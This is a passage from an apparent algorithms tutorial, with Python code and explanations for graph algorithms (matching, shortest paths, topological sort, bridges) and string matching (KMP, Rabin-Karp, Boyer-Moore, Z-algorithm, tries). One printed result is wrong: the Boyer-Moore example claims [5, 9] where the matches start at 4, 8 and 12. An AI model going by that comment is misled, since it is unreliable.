    max_flow, flow_matrix = flow_graph.edmonds_karp(source, sink)

    # Extract matching from flow
    matching = {}
    for left in range(self.left_size):
        for right in range(self.right_size):
            if flow_matrix[1 + left][1 + self.left_size + right] > 0:
                matching[left] = right

    return max_flow, matching

def hopcroft_karp(self):
    """
    Hopcroft-Karp algorithm for maximum bipartite matching.
    Time: O(E × sqrt(V))
    Space: O(V)
    """
    match_left = {}   # left -> right
    match_right = {}  # right -> left

    def bfs():
        """BFS to build level graph."""
        queue = deque()
        dist = {}

        for left in range(self.left_size):
            if left not in match_left:
                dist[left] = 0
                queue.append(left)

        dist[None] = float('inf')

        while queue:
            left = queue.popleft()
            if dist[left] < dist[None]:
                for right in self.graph[left]:
                    matched_left = match_right.get(right)
                    if matched_left not in dist:
                        dist[matched_left] = dist[left] + 1
                        queue.append(matched_left)

        return dist[None] != float('inf'), dist

    def dfs(left, dist):
        """DFS to find augmenting paths."""
        if left is None:
            return True

        for right in self.graph[left]:
            matched_left = match_right.get(right)
            if dist.get(matched_left, float('inf')) == dist[left] + 1:
                if dfs(matched_left, dist):
                    match_left[left] = right
                    match_right[right] = left
                    return True

        dist[left] = float('inf')
        return False

    matching_size = 0

    while True:
        found, dist = bfs()
        if not found:
            break

        for left in range(self.left_size):
            if left not in match_left and dfs(left, dist):
                matching_size += 1

    return matching_size, match_left

Need shortest path?
├─ All pairs?
│  ├─ Yes → Floyd-Warshall O(V³)
│  └─ No → Continue below
├─ Single source?
│  ├─ Unweighted graph?
│  │  └─ Yes → BFS O(V + E)
│  ├─ Non-negative weights?
│  │  ├─ Yes → Have good heuristic?
│  │  │  ├─ Yes → A* O(b^d)
│  │  │  └─ No → Dijkstra O((V+E) log V)
│  │  └─ No → Bellman-Ford O(V × E)
│  └─ Need to detect negative cycle?
│     └─ Yes → Bellman-Ford O(V × E)

Need to traverse graph?
├─ Find shortest path in unweighted?
│  └─ Yes → BFS O(V + E)
├─ Detect cycles?
│  └─ Yes → DFS O(V + E)
├─ Topological sort?
│  └─ Yes → DFS or Kahn's O(V + E)
├─ Find connected components?
│  └─ Yes → DFS or BFS O(V + E)
├─ Level-order traversal?
│  └─ Yes → BFS O(V + E)
└─ Memory constrained?
   ├─ Deep graph → DFS (less memory)
   └─ Wide graph → BFS (less memory)

Need MST?
├─ Sparse graph (E << V²)?
│  └─ Yes → Kruskal's O(E log E)
├─ Dense graph (E ≈ V²)?
│  └─ Yes → Prim's O((V+E) log V)
├─ Edges already sorted?
│  └─ Yes → Kruskal's O(E α(V))
├─ Need to start from specific vertex?
│  └─ Yes → Prim's
└─ Distributed/Parallel?
   └─ Yes → Kruskal's (easier to parallelize)

Advanced graph problem?
├─ Need task ordering with dependencies?
│  └─ Yes → Topological Sort O(V + E)
├─ Find tightly connected groups?
│  └─ Yes → Strongly Connected Components O(V + E)
│  ├─ Simpler implementation → Kosaraju's
│  └─ Slightly faster → Tarjan's
├─ Find critical infrastructure?
│  ├─ Critical vertices → Articulation Points O(V + E)
│  └─ Critical edges → Bridges O(V + E)
├─ Maximum flow/minimum cut?
│  ├─ Small graphs → Edmonds-Karp O(V × E²)
│  └─ Larger graphs → Dinic's O(V² × E)
└─ Bipartite matching?
   ├─ Simple implementation → DFS Augmenting Path O(V × E)
   └─ Large graphs → Hopcroft-Karp O(E × √V)

def gps_route(graph, start, end, current_traffic):
    """
    Find fastest route considering current traffic.
    """
    def heuristic(node):
        # Estimate time using straight-line distance and average speed
        distance = haversine_distance(node, end)
        avg_speed = 50  # km/h
        return distance / avg_speed

    def edge_weight(u, v):
        # Dynamic weight based on current traffic
        base_time = graph.base_travel_time(u, v)
        traffic_multiplier = current_traffic.get((u, v), 1.0)
        return base_time * traffic_multiplier

    return a_star_search(start, end, heuristic, edge_weight)

def friend_suggestions(user_id, social_graph):
    """
    Suggest friends based on mutual connections.
    """
    # BFS to find friends and friends-of-friends
    friends = set(social_graph[user_id])
    suggestions = defaultdict(int)  # friend -> number of mutual connections

    for friend in friends:
        for friend_of_friend in social_graph[friend]:
            if friend_of_friend != user_id and friend_of_friend not in friends:
                suggestions[friend_of_friend] += 1

    # Sort by number of mutual friends
    return sorted(suggestions.items(), key=lambda x: x[1], reverse=True)

def degrees_of_separation(graph, user1, user2):
    """
    Find shortest connection path between two users.
    """
    return bfs_shortest_path(graph, user1, user2)

class DependencyGraph:
    def __init__(self):
        self.dependencies = defaultdict(list)  # module -> [dependencies]

    def add_dependency(self, module, depends_on):
        self.dependencies[module].append(depends_on)

    def build_order(self):
        """
        Determine order to compile modules.
        """
        return topological_sort(self.dependencies)

    def detect_circular_dependencies(self):
        """
        Find circular dependencies (compilation impossible).
        """
        sccs = strongly_connected_components(self.dependencies)
        circular = [scc for scc in sccs if len(scc) > 1]
        return circular

class NetworkRouter:
    def __init__(self):
        self.topology = {}  # router_id -> [(neighbor, latency)]
        self.routing_table = {}

    def update_routing_table(self, router_id):
        """
        Update routing table using Dijkstra's.
        """
        distances, next_hop = dijkstra_with_path(self.topology, router_id)
        self.routing_table[router_id] = next_hop

    def route_packet(self, source, destination):
        """
        Determine path for packet from source to destination.
        """
        path = []
        current = source

        while current != destination:
            if current not in self.routing_table:
                return None  # No route
            current = self.routing_table[current][destination]
            path.append(current)

        return path

class GamePathfinding:
    def __init__(self, game_map):
        self.map = game_map
        self.nav_mesh = self.build_nav_mesh()

    def find_path(self, start, goal, character_type):
        """
        Find path considering character capabilities.
        """
        def heuristic(pos):
            return euclidean_distance(pos, goal)

        def can_traverse(pos1, pos2):
            # Check if character can move from pos1 to pos2
            terrain = self.map.get_terrain(pos2)
            return character_type in terrain.traversable_by

        def cost(pos1, pos2):
            # Cost depends on terrain
            terrain = self.map.get_terrain(pos2)
            base_cost = euclidean_distance(pos1, pos2)
            return base_cost * terrain.difficulty[character_type]

        return a_star_search(start, goal, heuristic, can_traverse, cost)

class RecommendationSystem:
    def __init__(self):
        self.user_item_graph = BipartiteGraph()  # users <-> items
        self.item_similarity = {}  # item -> similar items

    def recommend_items(self, user_id, num_recommendations=5):
        """
        Recommend items based on similar users' preferences.
        """
        # BFS to find users with similar tastes
        similar_users = self.find_similar_users(user_id, depth=2)

        # Aggregate items liked by similar users
        recommendations = defaultdict(float)
        user_items = set(self.user_item_graph.get_items(user_id))

        for similar_user, similarity in similar_users:
            for item in self.user_item_graph.get_items(similar_user):
                if item not in user_items:
                    recommendations[item] += similarity

        # Return top recommendations
        return sorted(recommendations.items(),
                     key=lambda x: x[1],
                     reverse=True)[:num_recommendations]

class SupplyChain:
    def __init__(self):
        self.network = {}  # location -> [(dest, cost, capacity)]

    def design_distribution_network(self, warehouses, stores):
        """
        Design minimum-cost network to connect warehouses to stores.
        """
        # Build complete graph with costs
        edges = []
        for warehouse in warehouses:
            for store in stores:
                cost = self.calculate_connection_cost(warehouse, store)
                edges.append((warehouse, store, cost))

        # Find MST
        mst = kruskal_mst(warehouses + stores, edges)
        return mst

    def optimize_shipments(self, source_warehouse, demands):
        """
        Optimize shipments from warehouse to meet demands.
        """
        # Model as max flow problem
        flow_graph = self.build_flow_network(source_warehouse, demands)
        max_flow, shipments = flow_graph.max_flow()

        if max_flow < sum(demands.values()):
            return None  # Cannot meet all demands

        return shipments

def num_islands(grid):
    """
    Time: O(rows × cols)
    Space: O(rows × cols) for recursion stack
    """
    if not grid:
        return 0

    rows, cols = len(grid), len(grid[0])
    count = 0

    def dfs(r, c):
        if r < 0 or r >= rows or c < 0 or c >= cols or grid[r][c] == '0':
            return

        grid[r][c] = '0'  # Mark as visited
        dfs(r + 1, c)  # Down
        dfs(r - 1, c)  # Up
        dfs(r, c + 1)  # Right
        dfs(r, c - 1)  # Left

    for r in range(rows):
        for c in range(cols):
            if grid[r][c] == '1':
                count += 1
                dfs(r, c)

    return count

# Test
grid = [
    ['1', '1', '0', '0', '0'],
    ['1', '1', '0', '0', '0'],
    ['0', '0', '1', '0', '0'],
    ['0', '0', '0', '1', '1']
]
print(num_islands(grid))  # Output: 3

def can_finish(num_courses, prerequisites):
    """
    Detect cycle in directed graph.
    Time: O(V + E)
    Space: O(V + E)
    """
    graph = defaultdict(list)
    for course, prereq in prerequisites:
        graph[prereq].append(course)

    # 0 = unvisited, 1 = visiting, 2 = visited
    state = [0] * num_courses

    def has_cycle(course):
        if state[course] == 1:  # Currently visiting - cycle!
            return True
        if state[course] == 2:  # Already visited
            return False

        state[course] = 1  # Mark as visiting
        for next_course in graph[course]:
            if has_cycle(next_course):
                return True
        state[course] = 2  # Mark as visited
        return False

    for course in range(num_courses):
        if has_cycle(course):
            return False

    return True

# Test
print(can_finish(2, [[1,0]]))  # True: can take course 0 then 1
print(can_finish(2, [[1,0],[0,1]]))  # False: circular dependency

class Node:
    def __init__(self, val=0, neighbors=None):
        self.val = val
        self.neighbors = neighbors if neighbors else []

def clone_graph(node):
    """
    Time: O(V + E)
    Space: O(V)
    """
    if not node:
        return None

    clones = {}  # original -> clone

    def dfs(original):
        if original in clones:
            return clones[original]

        clone = Node(original.val)
        clones[original] = clone

        for neighbor in original.neighbors:
            clone.neighbors.append(dfs(neighbor))

        return clone

    return dfs(node)

def network_delay_time(times, n, k):
    """
    times = [[source, target, time]]
    n = number of nodes
    k = source node

    Time: O((V + E) log V)
    """
    graph = defaultdict(list)
    for u, v, w in times:
        graph[u].append((v, w))

    dist = {i: float('inf') for i in range(1, n + 1)}
    dist[k] = 0

    pq = [(0, k)]  # (time, node)

    while pq:
        time, node = heapq.heappop(pq)

        if time > dist[node]:
            continue

        for neighbor, edge_time in graph[node]:
            new_time = time + edge_time
            if new_time < dist[neighbor]:
                dist[neighbor] = new_time
                heapq.heappush(pq, (new_time, neighbor))

    max_time = max(dist.values())
    return max_time if max_time != float('inf') else -1

# Test
times = [[2,1,1],[2,3,1],[3,4,1]]
print(network_delay_time(times, 4, 2))  # Output: 2

def ladder_length(begin_word, end_word, word_list):
    """
    Time: O(M × N) where M = word length, N = word list size
    Space: O(N)
    """
    if end_word not in word_list:
        return 0

    word_set = set(word_list)
    queue = deque([(begin_word, 1)])  # (word, level)

    while queue:
        word, level = queue.popleft()

        if word == end_word:
            return level

        # Try all one-letter transformations
        for i in range(len(word)):
            for c in 'abcdefghijklmnopqrstuvwxyz':
                next_word = word[:i] + c + word[i+1:]

                if next_word in word_set:
                    word_set.remove(next_word)  # Mark as visited
                    queue.append((next_word, level + 1))

    return 0

# Test
begin = "hit"
end = "cog"
words = ["hot","dot","dog","lot","log","cog"]
print(ladder_length(begin, end, words))  # Output: 5
# hit -> hot -> dot -> dog -> cog

def find_min_height_trees(n, edges):
    """
    Time: O(V)
    Space: O(V)
    """
    if n == 1:
        return [0]

    # Build adjacency list
    graph = defaultdict(set)
    for u, v in edges:
        graph[u].add(v)
        graph[v].add(u)

    # Start with leaves (degree = 1)
    leaves = [i for i in range(n) if len(graph[i]) == 1]

    remaining = n
    while remaining > 2:
        remaining -= len(leaves)
        new_leaves = []

        # Remove leaves
        for leaf in leaves:
            neighbor = graph[leaf].pop()
            graph[neighbor].remove(leaf)

            if len(graph[neighbor]) == 1:
                new_leaves.append(neighbor)

        leaves = new_leaves

    return leaves

# Test
edges = [[0,1],[0,2],[0,3],[3,4],[4,5]]
print(find_min_height_trees(6, edges))  # Output: [3, 4]

def alien_order(words):
    """
    Time: O(C) where C = total characters in all words
    Space: O(1) - at most 26 characters
    """
    # Build graph
    graph = defaultdict(set)
    in_degree = {c: 0 for word in words for c in word}

    # Compare adjacent words
    for i in range(len(words) - 1):
        word1, word2 = words[i], words[i + 1]
        min_len = min(len(word1), len(word2))

        # Check for invalid ordering
        if len(word1) > len(word2) and word1[:min_len] == word2[:min_len]:
            return ""

        # Find first different character
        for j in range(min_len):
            if word1[j] != word2[j]:
                if word2[j] not in graph[word1[j]]:
                    graph[word1[j]].add(word2[j])
                    in_degree[word2[j]] += 1
                break

    # Topological sort using Kahn's algorithm
    queue = deque([c for c in in_degree if in_degree[c] == 0])
    result = []

    while queue:
        c = queue.popleft()
        result.append(c)

        for next_c in graph[c]:
            in_degree[next_c] -= 1
            if in_degree[next_c] == 0:
                queue.append(next_c)

    if len(result) != len(in_degree):
        return ""  # Cycle detected

    return ''.join(result)

# Test
words = ["wrt","wrf","er","ett","rftt"]
print(alien_order(words))  # Output: "wertf"

def find_cheapest_price(n, flights, src, dst, k):
    """
    Time: O(E × K)
    Space: O(V)
    """
    # Use Bellman-Ford with K+1 iterations
    prices = [float('inf')] * n
    prices[src] = 0

    for i in range(k + 1):
        temp = prices[:]

        for u, v, price in flights:
            if prices[u] != float('inf'):
                temp[v] = min(temp[v], prices[u] + price)

        prices = temp

    return prices[dst] if prices[dst] != float('inf') else -1

# Test
flights = [[0,1,100],[1,2,100],[0,2,500]]
print(find_cheapest_price(3, flights, 0, 2, 1))  # Output: 200
# 0 -> 1 -> 2

def critical_connections(n, connections):
    """
    Find bridges in undirected graph.
    Time: O(V + E)
    Space: O(V + E)
    """
    graph = defaultdict(list)
    for u, v in connections:
        graph[u].append(v)
        graph[v].append(u)

    disc = {}
    low = {}
    bridges = []
    time = [0]

    def dfs(u, parent):
        disc[u] = low[u] = time[0]
        time[0] += 1

        for v in graph[u]:
            if v == parent:
                continue

            if v not in disc:
                dfs(v, u)
                low[u] = min(low[u], low[v])

                # Bridge condition
                if low[v] > disc[u]:
                    bridges.append([u, v])
            else:
                low[u] = min(low[u], disc[v])

    dfs(0, -1)
    return bridges

# Test
connections = [[0,1],[1,2],[2,0],[1,3]]
print(critical_connections(4, connections))  # Output: [[1,3]]

def find_itinerary(tickets):
    """
    Find Eulerian path in directed graph.
    Time: O(E log E)
    Space: O(E)
    """
    graph = defaultdict(list)

    # Build graph and sort destinations
    for src, dst in sorted(tickets)[::-1]:
        graph[src].append(dst)

    route = []

    def dfs(airport):
        while graph[airport]:
            next_airport = graph[airport].pop()
            dfs(next_airport)
        route.append(airport)

    dfs("JFK")
    return route[::-1]

# Test
tickets = [["MUC","LHR"],["JFK","MUC"],["SFO","SJC"],["LHR","SFO"]]
print(find_itinerary(tickets))
# Output: ["JFK","MUC","LHR","SFO","SJC"]

def naive_search(text, pattern):
    """
    Find all occurrences of pattern in text using naive approach.

    Args:
        text: The text to search in
        pattern: The pattern to search for

    Returns:
        List of starting indices where pattern is found
    """
    n = len(text)
    m = len(pattern)
    result = []

    # Slide pattern over text one by one
    for i in range(n - m + 1):
        # Check if pattern matches at current position
        j = 0
        while j < m and text[i + j] == pattern[j]:
            j += 1

        # Pattern found at index i
        if j == m:
            result.append(i)

    return result

# Example usage
text = "AABAACAADAABAABA"
pattern = "AABA"
print(naive_search(text, pattern))  # Output: [0, 9, 12]

def compute_lps(pattern):
    """
    Compute Longest Proper Prefix which is also Suffix array.

    LPS[i] = length of longest proper prefix of pattern[0..i]
              which is also a suffix of pattern[0..i]

    Args:
        pattern: Pattern string

    Returns:
        LPS array
    """
    m = len(pattern)
    lps = [0] * m
    length = 0  # Length of previous longest prefix suffix
    i = 1

    while i < m:
        if pattern[i] == pattern[length]:
            length += 1
            lps[i] = length
            i += 1
        else:
            if length != 0:
                # Don't increment i, try with shorter prefix
                length = lps[length - 1]
            else:
                lps[i] = 0
                i += 1

    return lps

def kmp_search(text, pattern):
    """
    KMP pattern matching algorithm.

    Args:
        text: Text to search in
        pattern: Pattern to search for

    Returns:
        List of starting indices where pattern is found
    """
    n = len(text)
    m = len(pattern)

    # Preprocess pattern
    lps = compute_lps(pattern)

    result = []
    i = 0  # Index for text
    j = 0  # Index for pattern

    while i < n:
        if text[i] == pattern[j]:
            i += 1
            j += 1

        if j == m:
            result.append(i - j)
            j = lps[j - 1]
        elif i < n and text[i] != pattern[j]:
            if j != 0:
                j = lps[j - 1]
            else:
                i += 1

    return result

# Example usage
text = "ABABDABACDABABCABAB"
pattern = "ABABCABAB"
print(kmp_search(text, pattern))  # Output: [10]

# Understanding LPS array
pattern = "ABABCABAB"
lps = compute_lps(pattern)
print(f"Pattern: {pattern}")
print(f"LPS:     {lps}")  # [0, 0, 1, 2, 0, 1, 2, 3, 4]

Pattern: A B A B C A B A B
Index:   0 1 2 3 4 5 6 7 8
LPS:     0 0 1 2 0 1 2 3 4

At index 8: "ABABCABAB"
  - Longest proper prefix that is also suffix: "ABAB" (length 4)

At index 3: "ABAB"
  - Longest proper prefix that is also suffix: "AB" (length 2)

def rabin_karp(text, pattern, prime=101):
    """
    Rabin-Karp algorithm using rolling hash.

    Args:
        text: Text to search in
        pattern: Pattern to search for
        prime: Prime number for hashing

    Returns:
        List of starting indices where pattern is found
    """
    n = len(text)
    m = len(pattern)
    d = 256  # Number of characters in input alphabet

    pattern_hash = 0  # Hash value for pattern
    text_hash = 0     # Hash value for current window of text
    h = 1             # Hash multiplier
    result = []

    # Calculate h = d^(m-1) % prime
    for i in range(m - 1):
        h = (h * d) % prime

    # Calculate initial hash values
    for i in range(m):
        pattern_hash = (d * pattern_hash + ord(pattern[i])) % prime
        text_hash = (d * text_hash + ord(text[i])) % prime

    # Slide pattern over text
    for i in range(n - m + 1):
        # Check if hash values match
        if pattern_hash == text_hash:
            # Verify character by character (handle hash collisions)
            if text[i:i + m] == pattern:
                result.append(i)

        # Calculate hash for next window
        if i < n - m:
            text_hash = (d * (text_hash - ord(text[i]) * h) + ord(text[i + m])) % prime

            # Handle negative hash
            if text_hash < 0:
                text_hash += prime

    return result

# Example usage
text = "GEEKS FOR GEEKS"
pattern = "GEEK"
print(rabin_karp(text, pattern))  # Output: [0, 10]

Text: "ABCDE", Pattern: "BC"
Window size m = 2, d = 256, prime = 101

Initial hash for "AB":
  hash = (256 * ord('A') + ord('B')) % 101

Rolling to "BC":
  Remove 'A': hash = hash - ord('A') * 256^1
  Shift:      hash = hash * 256
  Add 'C':    hash = hash + ord('C')
  Modulo:     hash = hash % 101

def rabin_karp_multiple(text, patterns, prime=101):
    """
    Search for multiple patterns simultaneously.

    Args:
        text: Text to search in
        patterns: List of patterns to search for
        prime: Prime number for hashing

    Returns:
        Dictionary mapping pattern to list of indices
    """
    d = 256
    result = {pattern: [] for pattern in patterns}

    # Group patterns by length for efficiency
    patterns_by_length = {}
    for pattern in patterns:
        m = len(pattern)
        if m not in patterns_by_length:
            patterns_by_length[m] = []
        patterns_by_length[m].append(pattern)

    # Search for each group
    for m, pattern_group in patterns_by_length.items():
        # Compute hashes for all patterns of this length
        pattern_hashes = {}
        for pattern in pattern_group:
            p_hash = 0
            for char in pattern:
                p_hash = (d * p_hash + ord(char)) % prime
            pattern_hashes[p_hash] = pattern

        # Search in text
        text_hash = 0
        h = pow(d, m - 1, prime)

        # Initial hash
        for i in range(m):
            text_hash = (d * text_hash + ord(text[i])) % prime

        # Slide window
        for i in range(len(text) - m + 1):
            if text_hash in pattern_hashes:
                pattern = pattern_hashes[text_hash]
                if text[i:i + m] == pattern:
                    result[pattern].append(i)

            # Rolling hash
            if i < len(text) - m:
                text_hash = (d * (text_hash - ord(text[i]) * h) + ord(text[i + m])) % prime
                if text_hash < 0:
                    text_hash += prime

    return result

# Example
text = "AABAACAADAABAAABAA"
patterns = ["AABA", "AAC", "ABA"]
print(rabin_karp_multiple(text, patterns))
# Output: {'AABA': [0, 9, 13], 'AAC': [3], 'ABA': [1, 10, 14]}

def bad_character_heuristic(pattern):
    """
    Preprocess pattern for bad character heuristic.

    Returns:
        Dictionary mapping character to its rightmost position
    """
    m = len(pattern)
    bad_char = {}

    # Fill with rightmost occurrence of each character
    for i in range(m):
        bad_char[pattern[i]] = i

    return bad_char

def boyer_moore_simple(text, pattern):
    """
    Simplified Boyer-Moore using only bad character rule.

    Args:
        text: Text to search in
        pattern: Pattern to search for

    Returns:
        List of starting indices where pattern is found
    """
    n = len(text)
    m = len(pattern)

    bad_char = bad_character_heuristic(pattern)
    result = []

    s = 0  # Shift of pattern with respect to text

    while s <= n - m:
        j = m - 1

        # Reduce j while characters match (right to left)
        while j >= 0 and pattern[j] == text[s + j]:
            j -= 1

        if j < 0:
            # Pattern found
            result.append(s)
            # Shift pattern to align with next character
            s += (m - bad_char.get(text[s + m], -1) - 1) if s + m < n else 1
        else:
            # Shift pattern based on bad character
            s += max(1, j - bad_char.get(text[s + j], -1))

    return result

# Full Boyer-Moore with good suffix rule
def good_suffix_heuristic(pattern):
    """
    Preprocess pattern for good suffix rule.

    Returns:
        shift array for good suffix rule
    """
    m = len(pattern)
    shift = [0] * (m + 1)
    border_pos = [0] * (m + 1)

    # Initialize
    i = m
    j = m + 1
    border_pos[i] = j

    while i > 0:
        while j <= m and pattern[i - 1] != pattern[j - 1]:
            if shift[j] == 0:
                shift[j] = j - i
            j = border_pos[j]

        i -= 1
        j -= 1
        border_pos[i] = j

    j = border_pos[0]
    for i in range(m + 1):
        if shift[i] == 0:
            shift[i] = j
        if i == j:
            j = border_pos[j]

    return shift

def boyer_moore(text, pattern):
    """
    Full Boyer-Moore algorithm with both heuristics.

    Args:
        text: Text to search in
        pattern: Pattern to search for

    Returns:
        List of starting indices where pattern is found
    """
    n = len(text)
    m = len(pattern)

    bad_char = bad_character_heuristic(pattern)
    good_suffix = good_suffix_heuristic(pattern)
    result = []

    s = 0

    while s <= n - m:
        j = m - 1

        while j >= 0 and pattern[j] == text[s + j]:
            j -= 1

        if j < 0:
            result.append(s)
            s += good_suffix[0]
        else:
            # Use maximum shift from both heuristics
            bad_char_shift = j - bad_char.get(text[s + j], -1)
            good_suffix_shift = good_suffix[j + 1]
            s += max(bad_char_shift, good_suffix_shift)

    return result

# Example usage
text = "ABAAABCDABCDABCDE"
pattern = "ABCD"
print(boyer_moore(text, pattern))  # Output: [5, 9]

Text:    T H I S  I S  A  T E S T
Pattern:     T E S T
              ↑
              Mismatch at 'I'

'I' not in pattern, skip entire pattern:

Text:    T H I S  I S  A  T E S T
Pattern:             T E S T

Text:    A B C A B C A B D
Pattern: C A B C A B
              ↑   ↑ ↑
              Matched suffix: "CAB"

Shift to next occurrence of "CAB" with different preceding character:

Text:    A B C A B C A B D
Pattern:       C A B C A B

def compute_z_array(s):
    """
    Compute Z-array for string s.

    Z[i] = length of longest substring starting from s[i]
           which is also a prefix of s

    Args:
        s: Input string

    Returns:
        Z-array
    """
    n = len(s)
    z = [0] * n

    # [l, r] is the rightmost segment that matches prefix
    l = r = 0

    for i in range(1, n):
        if i > r:
            # Outside current window, compute Z[i] from scratch
            l = r = i
            while r < n and s[r - l] == s[r]:
                r += 1
            z[i] = r - l
            r -= 1
        else:
            # Inside current window
            k = i - l

            if z[k] < r - i + 1:
                # Z[k] is entirely within window
                z[i] = z[k]
            else:
                # Need to check beyond window
                l = i
                while r < n and s[r - l] == s[r]:
                    r += 1
                z[i] = r - l
                r -= 1

    return z

def z_algorithm_search(text, pattern):
    """
    Pattern matching using Z-algorithm.

    Args:
        text: Text to search in
        pattern: Pattern to search for

    Returns:
        List of starting indices where pattern is found
    """
    # Concatenate pattern and text with separator
    concat = pattern + "$" + text
    n = len(concat)
    m = len(pattern)

    z = compute_z_array(concat)
    result = []

    # Find positions where Z-value equals pattern length
    for i in range(m + 1, n):
        if z[i] == m:
            result.append(i - m - 1)

    return result

# Example usage
text = "AABAACAADAABAAABAA"
pattern = "AABA"
print(z_algorithm_search(text, pattern))  # Output: [0, 9, 13]

# Understanding Z-array
s = "aabcaabxaaz"
z = compute_z_array(s)
print(f"String: {s}")
print(f"Z-array: {z}")
# Output: [0, 1, 0, 0, 3, 1, 0, 0, 2, 1, 0]
#
# Explanation:
# Index 0: Not computed (convention)
# Index 1: "a" matches prefix of length 1
# Index 4: "aab" matches prefix of length 3
# Index 8: "aa" matches prefix of length 2

String:  a a b c a a b x a a z
Index:   0 1 2 3 4 5 6 7 8 9 10
Z-array: 0 1 0 0 3 1 0 0 2 1 0

At index 4:
  "aabcaab..."
   ^^^
  Matches "aab" at start (length 3)

At index 8:
  "aa..."
   ^^
  Matches "aa" at start (length 2)

def find_all_occurrences_with_context(text, pattern):
    """
    Find pattern with surrounding context.
    """
    concat = pattern + "$" + text
    z = compute_z_array(concat)
    m = len(pattern)

    results = []
    for i in range(m + 1, len(concat)):
        if z[i] == m:
            pos = i - m - 1
            # Get context (5 chars before and after)
            start = max(0, pos - 5)
            end = min(len(text), pos + m + 5)
            context = text[start:end]
            results.append({
                'position': pos,
                'context': context,
                'highlight': (pos - start, pos - start + m)
            })

    return results

# Example
text = "The quick brown fox jumps over the lazy dog"
pattern = "the"
results = find_all_occurrences_with_context(text.lower(), pattern)
for r in results:
    print(f"Position {r['position']}: ...{r['context']}...")

class TrieNode:
    """Node in a Trie."""

    def __init__(self):
        self.children = {}
        self.is_end_of_word = False
        self.word_count = 0  # Number of words ending here

class Trie:
    """
    Trie data structure for efficient string operations.
    """

    def __init__(self):
        self.root = TrieNode()

    def insert(self, word):
        """Insert word into trie. O(m) where m is word length."""
        node = self.root

        for char in word:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]

        node.is_end_of_word = True
        node.word_count += 1

    def search(self, word):
        """Search for exact word. O(m)"""
        node = self.root

        for char in word:
            if char not in node.children:
                return False
            node = node.children[char]

        return node.is_end_of_word

    def starts_with(self, prefix):
        """Check if any word starts with prefix. O(m)"""
        node = self.root

        for char in prefix:
            if char not in node.children:
                return False
            node = node.children[char]

        return True

    def find_all_with_prefix(self, prefix):
        """Find all words with given prefix. O(n) where n is total chars."""
        node = self.root

        # Navigate to prefix
        for char in prefix:
            if char not in node.children:
                return []
            node = node.children[char]

        # DFS to collect all words
        words = []
        self._dfs_collect(node, prefix, words)
        return words

    def _dfs_collect(self, node, current_word, words):
        """Helper for DFS word collection."""
        if node.is_end_of_word:
            words.append(current_word)

        for char, child in node.children.items():
            self._dfs_collect(child, current_word + char, words)

    def delete(self, word):
        """Delete word from trie. O(m)"""
        def _delete_helper(node, word, index):
            if index == len(word):
                if not node.is_end_of_word:
                    return False
                node.is_end_of_word = False
                return len(node.children) == 0

            char = word[index]
            if char not in node.children:
                return False

            child = node.children[char]
            should_delete = _delete_helper(child, word, index + 1)

            if should_delete:
                del node.children[char]
                return len(node.children) == 0 and not node.is_end_of_word

            return False

        _delete_helper(self.root, word, 0)

# Example usage
trie = Trie()
words = ["apple", "app", "apricot", "banana", "band"]
for word in words:
    trie.insert(word)

print(trie.search("app"))  # True
print(trie.search("appl"))  # False
print(trie.starts_with("app"))  # True
print(trie.find_all_with_prefix("ap"))  # ['app', 'apple', 'apricot']

class AutocompleteSystem:
    """
    Autocomplete system using Trie with frequency tracking.
    """

    class TrieNode:
        def __init__(self):
            self.children = {}
            self.is_end = False
            self.frequency = 0
            self.sentence = ""

    def __init__(self, sentences, times):
        """
        Initialize with historical data.

        Args:
            sentences: List of historical sentences
            times: List of frequencies for each sentence
        """
        self.root = self.TrieNode()
        self.current_node = self.root
        self.current_sentence = ""

        # Build trie from historical data
        for sentence, freq in zip(sentences, times):
            self._insert(sentence, freq)

    def _insert(self, sentence, frequency):
        """Insert sentence with frequency."""
        node = self.root

        for char in sentence:
            if char not in node.children:
                node.children[char] = self.TrieNode()
            node = node.children[char]

        node.is_end = True
        node.frequency += frequency
        node.sentence = sentence

    def input(self, c):
        """
        Process input character.
        Returns top 3 suggestions sorted by frequency.
        """
        if c == '#':
            # End of sentence
            self._insert(self.current_sentence, 1)
            self.current_sentence = ""
            self.current_node = self.root
            return []

        self.current_sentence += c

        # Navigate trie
        if c not in self.current_node.children:
            # No matches, create new path
            self.current_node.children[c] = self.TrieNode()

        self.current_node = self.current_node.children[c]

        # Get all sentences from this node
        sentences = []
        self._dfs_sentences(self.current_node, sentences)

        # Sort by frequency (desc) then lexicographically
        sentences.sort(key=lambda x: (-x[1], x[0]))

        # Return top 3
        return [s[0] for s in sentences[:3]]

    def _dfs_sentences(self, node, sentences):
        """Collect all sentences from node."""
        if node.is_end:
            sentences.append((node.sentence, node.frequency))

        for child in node.children.values():
            self._dfs_sentences(child, sentences)

# Example
ac = AutocompleteSystem(
    ["i love you", "island", "ironman", "i love leetcode"],
    [5, 3, 2, 2]
)

print(ac.input('i'))  # ["i love you", "island", "i love leetcode"]
print(ac.input(' '))  # ["i love you", "i love leetcode"]
print(ac.input('a'))  # []
print(ac.input('#'))  # []

def match_wildcard_trie(trie_node, pattern, index=0):
    """
    Match pattern with wildcards using trie.
    '.' matches any single character
    '*' matches any sequence of characters

    Args:
        trie_node: Current trie node
        pattern: Pattern with wildcards
        index: Current position in pattern

    Returns:
        True if pattern matches any word in trie
    """
    if index == len(pattern):
        return trie_node.is_end_of_word

    char = pattern[index]

    if char == '.':
        # Try all children
        for child in trie_node.children.values():
            if match_wildcard_trie(child, pattern, index + 1):
                return True
        return False

    elif char == '*':
        # Try matching 0 or more characters
        # Match 0 characters
        if match_wildcard_trie(trie_node, pattern, index + 1):
            return True

        # Match 1+ characters
        for child in trie_node.children.values():
            if match_wildcard_trie(child, pattern, index):
                return True
        return False

    else:
        # Regular character
        if char not in trie_node.children:
            return False
        return match_wildcard_trie(trie_node.children[char], pattern, index + 1)

def build_suffix_array_naive(text):
    """
    Build suffix array using naive sorting.
    O(n^2 log n) due to string comparisons.

    Args:
        text: Input string

    Returns:
        Suffix array (array of starting indices)
    """
    n = len(text)
    suffixes = [(text[i:], i) for i in range(n)]
    suffixes.sort()
    return [suffix[1] for suffix in suffixes]

def build_suffix_array_efficient(text):
    """
    Build suffix array efficiently using counting sort and ranking.
    O(n log n)

    Args:
        text: Input string

    Returns:
        Suffix array
    """
    n = len(text)

    # Initial rank based on first character
    rank = [ord(c) for c in text]
    sa = list(range(n))

    k = 1
    while k < n:
        # Sort by (rank[i], rank[i+k])
        sa.sort(key=lambda i: (rank[i], rank[i + k] if i + k < n else -1))

        # Recompute ranks
        new_rank = [0] * n
